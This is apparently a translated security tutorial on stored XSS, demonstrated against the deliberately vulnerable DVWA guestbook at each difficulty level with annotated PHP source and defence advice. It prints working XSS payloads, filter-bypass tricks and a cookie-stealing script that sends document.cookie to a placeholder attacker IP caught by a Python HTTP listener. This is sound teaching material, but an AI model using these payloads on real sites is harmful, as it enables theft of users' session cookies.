preface
In the previous article, we introduced theReflective XSSandDOM-based XSS attackas well as the full tutorial analysis of Xss-Labs, the next part to introduce is the teaching of persistent XSS attack (prohibited for illegal use), which is another common type of XSS attack. Stored XSS attack occurs in the attackerThe malicious script is stored on the target server, and when other users access the infected page, the malicious script will be executed.
Stored XSS (Persistent XSS)
Stored XSS, also known as persistent XSS, differs significantly from reflective XSS in that the attack script is permanently stored on the target server (database, memory, file system, etc.), so there is no need to submit XSS code again when requesting the target page next time. It is somewhat similar to SQL injection, but it is different from SQL injection.

This kind of attack is often seen in forums, where the attacker injects malicious scripts along with normal information into the content of the post during the posting process. As the post is stored by the forum server, the malicious script is also permanently stored in the backend storage of the forum server. When other users browse the post that has been injected with the malicious script, the malicious script will be executed in their browsers, thus they are attacked.
The three of persistent XSSBig feature:
Persistent, planted in the database;
The impact is wide, even allowing users' machines to become zombies for DDoS attacks;
Steal sensitive and private user information.
How to defend against it?
Before the back-end stores data, it should choose not to trust any front-end data, and uniformly escape all fields;
The back-end should uniformly perform escaping processing on the data output to the front-end;
When rendering the page DOM, the front-end should choose not to trust any backend data, and any field needs to be escaped.
Vulnerability reproduction -- DVWA
LOW
Attempt to inject JavaScript script
<script>alert()</script>
Normal injection executed successfully
Attempt to analyze the source code, completely without XSS protection, and the protection against SQL injection is not thorough.
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// The trim() function can only remove the leading and trailing characters of the string, here there is no second parameter, the default is to remove leading and trailing spaces
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
$message = stripslashes( $message );
// The mysqli_real_escape_string() function escapes special characters (including NUL (ASCII 0), \n, \r, \, ', \
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// The SQL statement to be executed
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
There are also a total of attack methods using XSS attacks to obtain cookies, payload as follows
<script>document.write('<img src="http://ip:9999/'+document.cookie+'"/>')</script>
SimplifiedlyMethods to start HTTP protocolThere are two types:
(1) Using python2:
python2 -m SimpleHTTPServer 8899
(2) Using python3:
python3 -m http.server 8899
Inject payload
Successfully obtained cookie information
P.S. It was also found during testing that every time the browser's refresh button is clicked, a new guestbook record is generated. This should be a low-level level without prevention.Form resubmissionaction.
Medium
Try to inject using the content from the previous level.
Injection failed
Try blind injection into the first box, and the input box limits the length of the text
It seems to have an effect
Try to modify the input length limit of the input box
Payload as follows
<a href="https://www.freebuf.com/articles/es/javascript:alert()">alert()</a>
Injection successful
Source Code Analysis
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// strip_tags() function is used to remove HTML and PHP tags from the string
// addslashes() is used to add a backslash before the single quote (')、double quote (")、backslash (\) and NULL character (\0) in the string
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// htmlspecialchars() is used to convert special characters to HTML entities, including &、<、>、'、"
$message = htmlspecialchars( $message );
// Replace the specified string with an empty string
$name = str_replace('<script>', '', $name);
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
A careful analysis of the source code will show that it only performs a strip_tags character judgment on the message box function, but does not judge the value of the name box. Here it is just to delete script, so we can try the following two methods:
Double write bypass, for example<sc<script>ript>alert()<sc<script>ript>
Case-insensitive bypass, change the tag name to<sCript>, any character in uppercase is enough
High
Single tag
Use the payload from the previous level to test
Failed
Try half-package, and it was found that characters were escaped.
Try a single tag img and add the click event onclick to inject successfully
<img src=https://www.freebuf.com/articles/es/1 onclick=alert() /><!--Note that the space must not be missing-->
cookie
Obtaining cookies in the case of a single tag, the payload is as follows
<img src=https://www.freebuf.com/articles/es/1 onclick="document.write('<img src="http://ip:9999/'+document.cookie+'"/>')" />
The http port did not detect cookie information and the attempt failed
After trying svg, it didn't work either. At a loss, I thought of this taginput, onchange event
<input onchange="alert()">
It worked! So let's use this input tag to get the cookie information of our dvwa site
<input οnchange="document.write('<img src="http://ip:999/'+document.cookie+'"/>')">
emmmm, I've tried several times and the injection failed, I don't know why
Look at the source code.....
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
I'm at a loss with preg_replace regular expression replacement. Can anyone help me out? T_T
IMPOSSIBLE
Source Code Analysis
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// The checkToken() function checks if the token exists, uses csrf_token to prevent CSRF attacks, and solves the problem of form resubmission
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Remove spaces from both ends of the parameters
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Remove backslashes from the message box
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Convert the value in the message box to HTML entities
$message = htmlspecialchars( $message );
// Remove backslashes from name
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars($name);
// Execute SQL statement and use PDO for prepared statement to prevent SQL injection attacks
$data = $db->prepare('INSERT INTO guestbook (comment, name) VALUES (:message, :name);');
$data->bindParam(':message', $message, PDO::PARAM_STR);
$data->bindParam(':name', $name, PDO::PARAM_STR);
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
Original link:https://mp.weixin.qq.com/s/PKs1TTg8XyU-UBOZTY5Olg

评论已关闭